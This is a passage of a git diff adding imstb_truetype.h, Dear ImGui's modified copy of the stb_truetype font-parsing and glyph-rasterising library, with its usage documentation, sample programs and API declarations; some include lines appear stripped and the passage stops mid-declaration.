OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +------------------------------------------------------------------------------ +*/ diff --git a/EngineX-Pro/ImGui/imstb_truetype.h b/EngineX-Pro/ImGui/imstb_truetype.h new file mode 100644 index 0000000..b4bdbd8 --- /dev/null +++ b/EngineX-Pro/ImGui/imstb_truetype.h @@ -0,0 +1,4903 @@ +// [DEAR IMGUI] +// This is a slightly modified version of stb_truetype.h 1.20. +// Mostly fixing for compiler and static analyzer warnings. +// Grep for [DEAR IMGUI] to find the changes. + +// stb_truetype.h - v1.20 - public domain +// authored from 2009-2016 by Sean Barrett / RAD Game Tools +// +// This library processes TrueType files: +// parse files +// extract glyph metrics +// extract glyph shapes +// render glyphs to one-channel bitmaps with antialiasing (box filter) +// render glyphs to one-channel SDF bitmaps (signed-distance field/function) +// +// Todo: +// non-MS cmaps +// crashproof on bad data +// hinting? (no longer patented) +// cleartype-style AA? +// optimize: use simple memory allocator for intermediates +// optimize: build edge-list directly from curves +// optimize: rasterize directly from curves? +// +// ADDITIONAL CONTRIBUTORS +// +// Mikko Mononen: compound shape support, more cmap formats +// Tor Andersson: kerning, subpixel rendering +// Dougall Johnson: OpenType / Type 2 font handling +// Daniel Ribeiro Maciel: basic GPOS-based kerning +// +// Misc other: +// Ryan Gordon +// Simon Glass +// github:IntellectualKitty +// Imanol Celaya +// Daniel Ribeiro Maciel +// +// Bug/warning reports/fixes: +// "Zer" on mollyrocket Fabian "ryg" Giesen +// Cass Everitt Martins Mozeiko +// stoiko (Haemimont Games) Cap Petschulat +// Brian Hook Omar Cornut +// Walter van Niftrik github:aloucks +// David Gow Peter LaValle +// David Given Sergey Popov +// Ivan-Assen Ivanov Giumo X. Clanjor +// Anthony Pesch Higor Euripedes +// Johan Duparc Thomas Fields +// Hou Qiming Derek Vinyard +// Rob Loach Cort Stratton +// Kenney Phillis Jr. github:oyvindjam +// Brian Costabile github:vassvik +// +// VERSION HISTORY +// +// 1.20 (2019-02-07) PackFontRange skips missing codepoints; GetScaleFontVMetrics() +// 1.19 (2018-02-11) GPOS kerning, STBTT_fmod +// 1.18 (2018-01-29) add missing function +// 1.17 (2017-07-23) make more arguments const; doc fix +// 1.16 (2017-07-12) SDF support +// 1.15 (2017-03-03) make more arguments const +// 1.14 (2017-01-16) num-fonts-in-TTC function +// 1.13 (2017-01-02) support OpenType fonts, certain Apple fonts +// 1.12 (2016-10-25) suppress warnings about casting away const with -Wcast-qual +// 1.11 (2016-04-02) fix unused-variable warning +// 1.10 (2016-04-02) user-defined fabs(); rare memory leak; remove duplicate typedef +// 1.09 (2016-01-16) warning fix; avoid crash on outofmem; use allocation userdata properly +// 1.08 (2015-09-13) document stbtt_Rasterize(); fixes for vertical & horizontal edges +// 1.07 (2015-08-01) allow PackFontRanges to accept arrays of sparse codepoints; +// variant PackFontRanges to pack and render in separate phases; +// fix stbtt_GetFontOFfsetForIndex (never worked for non-0 input?); +// fixed an assert() bug in the new rasterizer +// replace assert() with STBTT_assert() in new rasterizer +// +// Full history can be found at the end of this file. +// +// LICENSE +// +// See end of file for license information. +// +// USAGE +// +// Include this file in whatever places need to refer to it. In ONE C/C++ +// file, write: +// #define STB_TRUETYPE_IMPLEMENTATION +// before the #include of this file. This expands out the actual +// implementation into that C/C++ file. +// +// To make the implementation private to the file that generates the implementation, +// #define STBTT_STATIC +// +// Simple 3D API (don't ship this, but it's fine for tools and quick start) +// stbtt_BakeFontBitmap() -- bake a font to a bitmap for use as texture +// stbtt_GetBakedQuad() -- compute quad to draw for a given char +// +// Improved 3D API (more shippable): +// #include "stb_rect_pack.h" -- optional, but you really want it +// stbtt_PackBegin() +// stbtt_PackSetOversampling() -- for improved quality on small fonts +// stbtt_PackFontRanges() -- pack and renders +// stbtt_PackEnd() +// stbtt_GetPackedQuad() +// +// "Load" a font file from a memory buffer (you have to keep the buffer loaded) +// stbtt_InitFont() +// stbtt_GetFontOffsetForIndex() -- indexing for TTC font collections +// stbtt_GetNumberOfFonts() -- number of fonts for TTC font collections +// +// Render a unicode codepoint to a bitmap +// stbtt_GetCodepointBitmap() -- allocates and returns a bitmap +// stbtt_MakeCodepointBitmap() -- renders into bitmap you provide +// stbtt_GetCodepointBitmapBox() -- how big the bitmap must be +// +// Character advance/positioning +// stbtt_GetCodepointHMetrics() +// stbtt_GetFontVMetrics() +// stbtt_GetFontVMetricsOS2() +// stbtt_GetCodepointKernAdvance() +// +// Starting with version 1.06, the rasterizer was replaced with a new, +// faster and generally-more-precise rasterizer. The new rasterizer more +// accurately measures pixel coverage for anti-aliasing, except in the case +// where multiple shapes overlap, in which case it overestimates the AA pixel +// coverage. Thus, anti-aliasing of intersecting shapes may look wrong. If +// this turns out to be a problem, you can re-enable the old rasterizer with +// #define STBTT_RASTERIZER_VERSION 1 +// which will incur about a 15% speed hit. +// +// ADDITIONAL DOCUMENTATION +// +// Immediately after this block comment are a series of sample programs. +// +// After the sample programs is the "header file" section. This section +// includes documentation for each API function. +// +// Some important concepts to understand to use this library: +// +// Codepoint +// Characters are defined by unicode codepoints, e.g. 65 is +// uppercase A, 231 is lowercase c with a cedilla, 0x7e30 is +// the hiragana for "ma". +// +// Glyph +// A visual character shape (every codepoint is rendered as +// some glyph) +// +// Glyph index +// A font-specific integer ID representing a glyph +// +// Baseline +// Glyph shapes are defined relative to a baseline, which is the +// bottom of uppercase characters. Characters extend both above +// and below the baseline. +// +// Current Point +// As you draw text to the screen, you keep track of a "current point" +// which is the origin of each character. The current point's vertical +// position is the baseline. Even "baked fonts" use this model. +// +// Vertical Font Metrics +// The vertical qualities of the font, used to vertically position +// and space the characters. See docs for stbtt_GetFontVMetrics. +// +// Font Size in Pixels or Points +// The preferred interface for specifying font sizes in stb_truetype +// is to specify how tall the font's vertical extent should be in pixels. +// If that sounds good enough, skip the next paragraph. +// +// Most font APIs instead use "points", which are a common typographic +// measurement for describing font size, defined as 72 points per inch. +// stb_truetype provides a point API for compatibility. However, true +// "per inch" conventions don't make much sense on computer displays +// since different monitors have different number of pixels per +// inch. For example, Windows traditionally uses a convention that +// there are 96 pixels per inch, thus making 'inch' measurements have +// nothing to do with inches, and thus effectively defining a point to +// be 1.333 pixels. Additionally, the TrueType font data provides +// an explicit scale factor to scale a given font's glyphs to points, +// but the author has observed that this scale factor is often wrong +// for non-commercial fonts, thus making fonts scaled in points +// according to the TrueType spec incoherently sized in practice. +// +// DETAILED USAGE: +// +// Scale: +// Select how high you want the font to be, in points or pixels. +// Call ScaleForPixelHeight or ScaleForMappingEmToPixels to compute +// a scale factor SF that will be used by all other functions. +// +// Baseline: +// You need to select a y-coordinate that is the baseline of where +// your text will appear. Call GetFontBoundingBox to get the baseline-relative +// bounding box for all characters. SF*-y0 will be the distance in pixels +// that the worst-case character could extend above the baseline, so if +// you want the top edge of characters to appear at the top of the +// screen where y=0, then you would set the baseline to SF*-y0. +// +// Current point: +// Set the current point where the first character will appear. The +// first character could extend left of the current point; this is font +// dependent. You can either choose a current point that is the leftmost +// point and hope, or add some padding, or check the bounding box or +// left-side-bearing of the first character to be displayed and set +// the current point based on that. +// +// Displaying a character: +// Compute the bounding box of the character. It will contain signed values +// relative to . I.e. if it returns x0,y0,x1,y1, +// then the character should be displayed in the rectangle from +// to = 32 && *text < 128) { + stbtt_aligned_quad q; + stbtt_GetBakedQuad(cdata, 512,512, *text-32, &x,&y,&q,1);//1=opengl & d3d10+,0=d3d9 + glTexCoord2f(q.s0,q.t1); glVertex2f(q.x0,q.y0); + glTexCoord2f(q.s1,q.t1); glVertex2f(q.x1,q.y0); + glTexCoord2f(q.s1,q.t0); glVertex2f(q.x1,q.y1); + glTexCoord2f(q.s0,q.t0); glVertex2f(q.x0,q.y1); + } + ++text; + } + glEnd(); +} +#endif +// +// +////////////////////////////////////////////////////////////////////////////// +// +// Complete program (this compiles): get a single bitmap, print as ASCII art +// +#if 0 +#include +#define STB_TRUETYPE_IMPLEMENTATION // force following include to generate implementation +#include "stb_truetype.h" + +char ttf_buffer[1<<25]; + +int main(int argc, char **argv) +{ + stbtt_fontinfo font; + unsigned char *bitmap; + int w,h,i,j,c = (argc > 1 ? atoi(argv[1]) : 'a'), s = (argc > 2 ? atoi(argv[2]) : 20); + + fread(ttf_buffer, 1, 1<<25, fopen(argc > 3 ? argv[3] : "c:/windows/fonts/arialbd.ttf", "rb")); + + stbtt_InitFont(&font, ttf_buffer, stbtt_GetFontOffsetForIndex(ttf_buffer,0)); + bitmap = stbtt_GetCodepointBitmap(&font, 0,stbtt_ScaleForPixelHeight(&font, s), c, &w, &h, 0,0); + + for (j=0; j < h; ++j) { + for (i=0; i < w; ++i) + putchar(" .:ioVM@"[bitmap[j*w+i]>>5]); + putchar('\n'); + } + return 0; +} +#endif +// +// Output: +// +// .ii. +// @@@@@@. +// V@Mio@@o +// :i. V@V +// :oM@@M +// :@@@MM@M +// @@o o@M +// :@@. M@M +// @@@o@@@@ +// :M@@V:@@. +// +////////////////////////////////////////////////////////////////////////////// +// +// Complete program: print "Hello World!" banner, with bugs +// +#if 0 +char buffer[24<<20]; +unsigned char screen[20][79]; + +int main(int arg, char **argv) +{ + stbtt_fontinfo font; + int i,j,ascent,baseline,ch=0; + float scale, xpos=2; // leave a little padding in case the character extends left + char *text = "Heljo World!"; // intentionally misspelled to show 'lj' brokenness + + fread(buffer, 1, 1000000, fopen("c:/windows/fonts/arialbd.ttf", "rb")); + stbtt_InitFont(&font, buffer, 0); + + scale = stbtt_ScaleForPixelHeight(&font, 15); + stbtt_GetFontVMetrics(&font, &ascent,0,0); + baseline = (int) (ascent*scale); + + while (text[ch]) { + int advance,lsb,x0,y0,x1,y1; + float x_shift = xpos - (float) floor(xpos); + stbtt_GetCodepointHMetrics(&font, text[ch], &advance, &lsb); + stbtt_GetCodepointBitmapBoxSubpixel(&font, text[ch], scale,scale,x_shift,0, &x0,&y0,&x1,&y1); + stbtt_MakeCodepointBitmapSubpixel(&font, &screen[baseline + y0][(int) xpos + x0], x1-x0,y1-y0, 79, scale,scale,x_shift,0, text[ch]); + // note that this stomps the old data, so where character boxes overlap (e.g. 'lj') it's wrong + // because this API is really for baking character bitmaps into textures. if you want to render + // a sequence of characters, you really need to render each bitmap to a temp buffer, then + // "alpha blend" that into the working buffer + xpos += (advance * scale); + if (text[ch+1]) + xpos += scale*stbtt_GetCodepointKernAdvance(&font, text[ch],text[ch+1]); + ++ch; + } + + for (j=0; j < 20; ++j) { + for (i=0; i < 78; ++i) + putchar(" .:ioVM@"[screen[j][i]>>5]); + putchar('\n'); + } + + return 0; +} +#endif + + +////////////////////////////////////////////////////////////////////////////// +////////////////////////////////////////////////////////////////////////////// +//// +//// INTEGRATION WITH YOUR CODEBASE +//// +//// The following sections allow you to supply alternate definitions +//// of C library functions used by stb_truetype, e.g. if you don't +//// link with the C runtime library. + +#ifdef STB_TRUETYPE_IMPLEMENTATION + // #define your own (u)stbtt_int8/16/32 before including to override this + #ifndef stbtt_uint8 + typedef unsigned char stbtt_uint8; + typedef signed char stbtt_int8; + typedef unsigned short stbtt_uint16; + typedef signed short stbtt_int16; + typedef unsigned int stbtt_uint32; + typedef signed int stbtt_int32; + #endif + + typedef char stbtt__check_size32[sizeof(stbtt_int32)==4 ? 1 : -1]; + typedef char stbtt__check_size16[sizeof(stbtt_int16)==2 ? 1 : -1]; + + // e.g. #define your own STBTT_ifloor/STBTT_iceil() to avoid math.h + #ifndef STBTT_ifloor + #include + #define STBTT_ifloor(x) ((int) floor(x)) + #define STBTT_iceil(x) ((int) ceil(x)) + #endif + + #ifndef STBTT_sqrt + #include + #define STBTT_sqrt(x) sqrt(x) + #define STBTT_pow(x,y) pow(x,y) + #endif + + #ifndef STBTT_fmod + #include + #define STBTT_fmod(x,y) fmod(x,y) + #endif + + #ifndef STBTT_cos + #include + #define STBTT_cos(x) cos(x) + #define STBTT_acos(x) acos(x) + #endif + + #ifndef STBTT_fabs + #include + #define STBTT_fabs(x) fabs(x) + #endif + + // #define your own functions "STBTT_malloc" / "STBTT_free" to avoid malloc.h + #ifndef STBTT_malloc + #include + #define STBTT_malloc(x,u) ((void)(u),malloc(x)) + #define STBTT_free(x,u) ((void)(u),free(x)) + #endif + + #ifndef STBTT_assert + #include + #define STBTT_assert(x) assert(x) + #endif + + #ifndef STBTT_strlen + #include + #define STBTT_strlen(x) strlen(x) + #endif + + #ifndef STBTT_memcpy + #include + #define STBTT_memcpy memcpy + #define STBTT_memset memset + #endif +#endif + +/////////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////////// +//// +//// INTERFACE +//// +//// + +#ifndef __STB_INCLUDE_STB_TRUETYPE_H__ +#define __STB_INCLUDE_STB_TRUETYPE_H__ + +#ifdef STBTT_STATIC +#define STBTT_DEF static +#else +#define STBTT_DEF extern +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +// private structure +typedef struct +{ + unsigned char *data; + int cursor; + int size; +} stbtt__buf; + +////////////////////////////////////////////////////////////////////////////// +// +// TEXTURE BAKING API +// +// If you use this API, you only have to call two functions ever. +// + +typedef struct +{ + unsigned short x0,y0,x1,y1; // coordinates of bbox in bitmap + float xoff,yoff,xadvance; +} stbtt_bakedchar; + +STBTT_DEF int stbtt_BakeFontBitmap(const unsigned char *data, int offset, // font location (use offset=0 for plain .ttf) + float pixel_height, // height of font in pixels + unsigned char *pixels, int pw, int ph, // bitmap to be filled in + int first_char, int num_chars, // characters to bake + stbtt_bakedchar *chardata); // you allocate this, it's num_chars long +// if return is positive, the first unused row of the bitmap +// if return is negative, returns the negative of the number of characters that fit +// if return is 0, no characters fit and no rows were used +// This uses a very crappy packing. + +typedef struct +{ + float x0,y0,s0,t0; // top-left + float x1,y1,s1,t1; // bottom-right +} stbtt_aligned_quad; + +STBTT_DEF void stbtt_GetBakedQuad(const stbtt_bakedchar *chardata, int pw, int ph, // same data as above + int char_index, // character to display + float *xpos, float *ypos, // pointers to current position in screen pixel space + stbtt_aligned_quad *q, // output: quad to draw + int opengl_fillrule); // true if opengl fill rule; false if DX9 or earlier +// Call GetBakedQuad with char_index = 'character - first_char', and it +// creates the quad you need to draw and advances the current position. +// +// The coordinate system used assumes y increases downwards. +// +// Characters will extend both above and below the current position; +// see discussion of "BASELINE" above. +// +// It's inefficient; you might want to c&p it and optimize it. + +STBTT_DEF void stbtt_GetScaledFontVMetrics(const unsigned char *fontdata, int index, float size, float *ascent, float *descent, float *lineGap); +// Query the font vertical metrics without having to create a font first. + + +////////////////////////////////////////////////////////////////////////////// +// +// NEW TEXTURE BAKING API +// +// This provides options for packing multiple fonts into one atlas, not +// perfectly but better than nothing. + +typedef struct +{ + unsigned short x0,y0,x1,y1; // coordinates of bbox in bitmap + float xoff,yoff,xadvance; + float xoff2,yoff2; +} stbtt_packedchar; + +typedef struct stbtt_pack_context stbtt_pack_context; +typedef struct stbtt_fontinfo stbtt_fontinfo; +#ifndef STB_RECT_PACK_VERSION +typedef struct stbrp_rect stbrp_rect; +#endif + +STBTT_DEF int stbtt_PackBegin(stbtt_pack_context *spc, unsigned char *pixels, int width, int height, int stride_in_bytes, int padding, void *alloc_context); +// Initializes a packing context stored in the passed-in stbtt_pack_context. +// Future calls using this context will pack characters into the bitmap passed +// in here: a 1-channel bitmap that is width * height. stride_in_bytes is +// the distance from one row to the next (or 0 to mean they are packed tightly +// together). "padding" is the amount of padding to leave between each +// character (normally you want '1' for bitmaps you'll use as textures with +// bilinear filtering). +// +// Returns 0 on failure, 1 on success. + +STBTT_DEF void stbtt_PackEnd (stbtt_pack_context *spc); +// Cleans up the packing context and frees all memory. + +#define STBTT_POINT_SIZE(x) (-(x)) + +STBTT_DEF int stbtt_PackFontRange(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, float font_size, + int first_unicode_char_in_range, int num_chars_in_range, stbtt_packedchar *chardata_for_range); +// Creates character bitmaps from the font_index'th font found in fontdata (use +// font_index=0 if you don't know what that is). It creates num_chars_in_range +// bitmaps for characters with unicode values starting at first_unicode_char_in_range +// and increasing. Data for how to render them is stored in chardata_for_range; +// pass these to stbtt_GetPackedQuad to get back renderable quads. +// +// font_size is the full height of the character from ascender to descender, +// as computed by stbtt_ScaleForPixelHeight. To use a point size as computed +// by stbtt_ScaleForMappingEmToPixels, wrap the point size in STBTT_POINT_SIZE() +// and pass that result as 'font_size': +// ..., 20 , ... // font max minus min y is 20 pixels tall +// ..., STBTT_POINT_SIZE(20), ... // 'M' is 20 pixels tall + +typedef struct +{ + float font_size; + int first_unicode_codepoint_in_range; // if non-zero, then the chars are continuous, and this is the first codepoint + int *array_of_unicode_codepoints; // if non-zero, then this is an array of unicode codepoints + int num_chars; + stbtt_packedchar *chardata_for_range; // output + unsigned char h_oversample, v_oversample; // don't set these, they're used internally +} stbtt_pack_range; + +STBTT_DEF int stbtt_PackFontRanges(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, stbtt_pack_range *ranges, int num_ranges); +// Creates character bitmaps from multiple ranges of characters stored in +// ranges. This will usually create a better-packed bitmap than multiple +// calls to stbtt_PackFontRange. Note that you can call this multiple +// times within a single PackBegin/PackEnd. + +STBTT_DEF void stbtt_PackSetOversampling(stbtt_pack_context *spc, unsigned int h_oversample, unsigned int v_oversample); +// Oversampling a font increases the quality by allowing higher-quality subpixel +// positioning, and is especially valuable at smaller text sizes. +// +// This function sets the amount of oversampling for all following calls to +// stbtt_PackFontRange(s) or stbtt_PackFontRangesGatherRects for a given +// pack context. The default (no oversampling) is achieved by h_oversample=1 +// and v_oversample=1. The total number of pixels required is +// h_oversample*v_oversample larger than the default; for example, 2x2 +// oversampling requires 4x the storage of 1x1. For best results, render +// oversampled textures with bilinear filtering. Look at the readme in +// stb/tests/oversample for information about oversampled fonts +// +// To use with PackFontRangesGather etc., you must set it before calls +// call to PackFontRangesGatherRects. + +STBTT_DEF void stbtt_PackSetSkipMissingCodepoints(stbtt_pack_context *spc, int skip); +// If skip != 0, this tells stb_truetype to skip any codepoints for which +// there is no corresponding glyph. If skip=0, which is the default, then +// codepoints without a glyph recived the font's "missing character" glyph, +// typically an empty box by convention. + +STBTT_DEF void stbtt_GetPackedQuad(const stbtt_packedchar *chardata, int pw, int ph, // same data as above + int char_index, // character to display + float *xpos, float *ypos, // pointers to current position in screen pixel space + stbtt_aligned_quad *q, // output: quad to draw + int align_to_integer); + +STBTT_DEF int stbtt_PackFontRangesGatherRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects); +STBTT_DEF void stbtt_PackFontRangesPackRects(stbtt_pack_context *spc, stbrp_rect *rects, int num_rects); +STBTT_DEF int stbtt_PackFontRangesRenderIntoRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects); +// Calling these functions in sequence is roughly equivalent to calling +// stbtt_PackFontRanges(). If you more control over the packing of multiple +// fonts, or if you want to pack custom data into a font texture, take a look +// at the source to of stbtt_PackFontRanges() and create a custom version +// using these functions, e.g. call GatherRects multiple times, +// building up a single array of rects, then call PackRects once, +// then call RenderIntoRects repeatedly. This may result in a +// better packing than calling PackFontRanges multiple times +// (or it may not). + +// this is an opaque structure that you shouldn't mess with which holds +// all the context needed from PackBegin to PackEnd. +struct stbtt_pack_context { + void *user_allocator_context; + void *pack_info; + int width; + int height; + int stride_in_bytes; + int padding; + int skip_missing; + unsigned int h_oversample, v_oversample; + unsigned char *pixels; + void *nodes; +}; + +////////////////////////////////////////////////////////////////////////////// +// +// FONT LOADING +// +// + +STBTT_DEF int stbtt_GetNumberOfFonts(const unsigned char *data); +// This function will determine the number of fonts in a font file. TrueType +// collection (.ttc) files may contain multiple fonts, while TrueType font +// (.ttf) files only contain one font. The number of fonts can be used for +// indexing with the previous function where the index is between zero and one +// less than the total fonts. If an error occurs, -1 is returned. + +STBTT_DEF int stbtt_GetFontOffsetForIndex(const unsigned char *data, int index); +// Each .ttf/.ttc file may have more than one font. Each font has a sequential +// index number starting from 0. Call this function to get the font offset for +// a given index; it returns -1 if the index is out of range. A regular .ttf +// file will only define one font and it always be at offset 0, so it will +// return '0' for index 0, and -1 for all other indices. + +// The following structure is defined publicly so you can declare one on +// the stack or as a global or etc, but you should treat it as opaque. +struct stbtt_fontinfo +{ + void * userdata; + unsigned char * data; // pointer to .ttf file + int fontstart; // offset of start of font + + int numGlyphs; // number of glyphs, needed for range checking + + int loca,head,glyf,hhea,hmtx,kern,gpos; // table locations as offset from start of .ttf + int index_map; // a cmap mapping for our chosen character encoding + int indexToLocFormat; // format needed to map from glyph index to glyph + + stbtt__buf cff; // cff font data + stbtt__buf charstrings; // the charstring index + stbtt__buf gsubrs; // global charstring subroutines index + stbtt__buf subrs; // private charstring subroutines index + stbtt__buf fontdicts; // array of font dicts + stbtt__buf fdselect; // map from glyph to fontdict +}; + +STBTT_DEF int stbtt_InitFont(stbtt_fontinfo *info, const unsigned char *data, int offset); +// Given an offset into the file that defines a font, this function builds +// the necessary cached info for the rest of the system. You must allocate +// the stbtt_fontinfo yourself, and stbtt_InitFont will fill it out. You don't +// need to do anything special to free it, because the contents are pure +// value data with no additional data structures. Returns 0 on failure. + + +////////////////////////////////////////////////////////////////////////////// +// +// CHARACTER TO GLYPH-INDEX CONVERSIOn + +STBTT_DEF int stbtt_FindGlyphIndex(const stbtt_fontinfo *info, int unicode_codepoint); +// If you're going to perform multiple operations on the same character +// and you want a speed-up, call this function with the character you're +// going to process, then use glyph-based functions instead of the +// codepoint-based functions. +// Returns 0 if the character codepoint is not defined in the font. + + +////////////////////////////////////////////////////////////////////////////// +// +// CHARACTER PROPERTIES +// + +STBTT_DEF float stbtt_ScaleForPixelHeight(const stbtt_fontinfo *info, float pixels); +// computes a scale factor to produce a font whose "height" is 'pixels' tall. +// Height is measured as the distance from the highest ascender to the lowest +// descender; in other words, it's equivalent to calling stbtt_GetFontVMetrics +// and computing: +// scale = pixels / (ascent - descent) +// so if you prefer to measure height by the ascent only, use a similar calculation. + +STBTT_DEF float stbtt_ScaleForMappingEmToPixels(const stbtt_fontinfo *info, float pixels); +// computes a scale factor to produce a font whose EM size is mapped to +// 'pixels' tall. This is probably what traditional APIs compute, but +// I'm not positive. + +STBTT_DEF void stbtt_GetFontVMetrics(const stbtt_fontinfo *info, int *ascent, int *descent, int *lineGap); +// ascent is the coordinate above the baseline the font extends; descent +// is the coordinate below the baseline the font extends (i.e. it is typically negative) +// lineGap is the spacing between one row's descent and the next row's ascent... +// so you should advance the vertical position by "*ascent - *descent + *lineGap" +// these are expressed in unscaled coordinates, so you must multiply by +// the scale factor for a given size + +STBTT_DEF int stbtt_GetFontVMetricsOS2(const stbtt_fontinfo *info, int *typoAscent, int *typoDescent, int *typoLineGap); +// analogous to GetFontVMetrics, but returns the "typographic" values from the OS/2 +// table (specific to MS/Windows TTF files). +// +// Returns 1 on success (table present), 0 on failure. + +STBTT_DEF void stbtt_GetFontBoundingBox(const stbtt_fontinfo *info, int *x0, int *y0, int *x1, int *y1); +// the bounding box around all possible characters + +STBTT_DEF void stbtt_GetCodepointHMetrics(const stbtt_fontinfo *info, int codepoint, int *advanceWidth, int *leftSideBearing); +// leftSideBearing is the offset from the current horizontal position to the left edge of the character +// advanceWidth is the offset from the current horizontal position to the next horizontal position +// these are expressed in unscaled coordinates + +STBTT_DEF int stbtt_GetCodepointKernAdvance(const stbtt_fontinfo *info, int ch1, int ch2); +// an additional amount to add to the 'advance' value between ch1 and ch2 + +STBTT_DEF int stbtt_GetCodepointBox(const stbtt_fontinfo *info, int codepoint, int *x0, int *y0, int *x1, int *y1); +// Gets the bounding box of the visible part of the glyph, in unscaled coordinates + +STBTT_DEF void stbtt_GetGlyphHMetrics(const stbtt_fontinfo *info, int glyph_index, int *advanceWidth, int *leftSideBearing); +STBTT_DEF int stbtt_GetGlyphKernAdvance(const stbtt_fontinfo *info, int glyph1, int glyph2); +STBTT_DEF int stbtt_GetGlyphBox(const stbtt_fontinfo *info, int glyph_index, int *x0, int *y0, int *x1, int *y1); +// as above, but takes one or more glyph indices for greater efficiency + + +////////////////////////////////////////////////////////////////////////////// +// +// GLYPH SHAPES (you probably don't need these, but they have to go before +// the bitmaps for C declaration-order reasons) +// + +#ifndef STBTT_vmove // you can predefine these to use different values (but why?) + enum { + STBTT_vmove=1, + STBTT_vline, + STBTT_vcurve, + STBTT_vcubic + }; +#endif + +#ifndef stbtt_vertex // you can predefine this to use different values + // (we share this with other code at RAD) + #define stbtt_vertex_type short // can't use stbtt_int16 because that's not visible in the header file + typedef struct + { + stbtt_vertex_type x,y,cx,cy,cx1,cy1; + unsigned char type,padding; + } stbtt_vertex; +#endif + +STBTT_DEF int stbtt_IsGlyphEmpty(const stbtt_fontinfo *info, int glyph_index); +// returns non-zero if nothing is drawn for this glyph + +STBTT_DEF int stbtt_GetCodepointShape(const stbtt_fontinfo *info, int unicode_codepoint, stbtt_vertex **vertices); +STBTT_DEF int stbtt_GetGlyphShape(const stbtt_fontinfo *info, int glyph_index, stbtt_vertex **vertices); +// returns # of vertices and fills *vertices with the pointer to them +// these are expressed in "unscaled" coordinates +// +// The shape is a series of contours. Each one starts with +// a STBTT_moveto, then consists of a series of mixed +// STBTT_lineto and STBTT_curveto segments. A lineto +// draws a line from previous endpoint to its x,y; a curveto +// draws a quadratic bezier from previous endpoint to +// its x,y, using cx,cy as the bezier control point. + +STBTT_DEF void stbtt_FreeShape(const stbtt_fontinfo *info, stbtt_vertex *vertices); +// frees the data allocated above + +////////////////////////////////////////////////////////////////////////////// +// +// BITMAP RENDERING +// + +STBTT_DEF void stbtt_FreeBitmap(unsigned char *bitmap, void *userdata); +// frees the bitmap allocated below + +STBTT_DEF unsigned char *stbtt_GetCodepointBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int codepoint, int *width, int *height, int *xoff, int *yoff); +// allocates a large-enough single-channel 8bpp bitmap and renders the +// specified character/glyph at the specified scale into it, with +// antialiasing. 0 is no coverage (transparent), 255 is fully covered (opaque). +// *width & *height are filled out with the width & height of the bitmap, +// which is stored left-to-right, top-to-bottom. +// +// xoff/yoff are the offset it pixel space from the glyph origin to the top-left of the bitmap + +STBTT_DEF unsigned char *stbtt_GetCodepointBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint, int *width, int *height, int *xoff, int *yoff); +// the same as stbtt_GetCodepoitnBitmap, but you can specify a subpixel +// shift for the character + +STBTT_DEF void stbtt_MakeCodepointBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int codepoint); +// the same as stbtt_GetCodepointBitmap, but you pass in storage for the bitmap +// in the form of 'output', with row spacing of 'out_stride' bytes. the bitmap +// is clipped to out_w/out_h bytes. Call stbtt_GetCodepointBitmapBox to get the +// width and height and positioning info for it first. + +STBTT_DEF void stbtt_MakeCodepointBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint); +// same as stbtt_MakeCodepointBitmap, but you can specify a subpixel +// shift for the character + +STBTT_DEF void stbtt_MakeCodepointBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int oversample_x, int oversample_y, float *sub_x, float *sub_y, int codepoint); +// same as stbtt_MakeCodepointBitmapSubpixel, but prefiltering +// is performed (see stbtt_PackSetOversampling) + +STBTT_DEF void stbtt_GetCodepointBitmapBox(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1); +// get the bbox of the bitmap centered around the glyph origin; so the +// bitmap width is ix1-ix0, height is iy1-iy0, and location to place +// the bitmap top left is (leftSideBearing*scale,iy0). +// (Note that the bitmap uses y-increases-down, but the shape uses +// y-increases-up, so CodepointBitmapBox and CodepointBox are inverted.) + +STBTT_DEF void stbtt_GetCodepointBitmapBoxSubpixel(const stbtt_fontinfo *font, int codepoint, float scale_x, float scale_y, float shift_x, float shift_y, int *ix0, int *iy0, int *ix1, int *iy1); +// same as stbtt_GetCodepointBitmapBox, but you can specify a subpixel +// shift for the character + +// the following functions are equivalent to the above functions, but operate +// on glyph indices instead of Unicode codepoints (for efficiency) +STBTT_DEF unsigned char *stbtt_GetGlyphBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int glyph, int *width, int *height, int *xoff, int *yoff); +STBTT_DEF unsigned char *stbtt_GetGlyphBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int glyph, int *width, int *height, int *xoff, int *yoff); +STBTT_DEF void stbtt_MakeGlyphBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int glyph); +STBTT_DEF void stbtt_MakeGlyphBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int glyph); +STBTT_DEF void stbtt_MakeGlyphBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int oversample_x, int oversample_y, float *sub_x, float *sub_y, int glyph); +STBTT_DEF void stbtt_GetGlyphBitmapBox(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1); +STBTT_DEF void stbtt_GetGlyphBitmapBoxSubpixel(const stbtt_fontinfo *font, int glyph, float scale_x, float scale_y,float shift_x, float shift_y, int *ix0, int *iy0, int 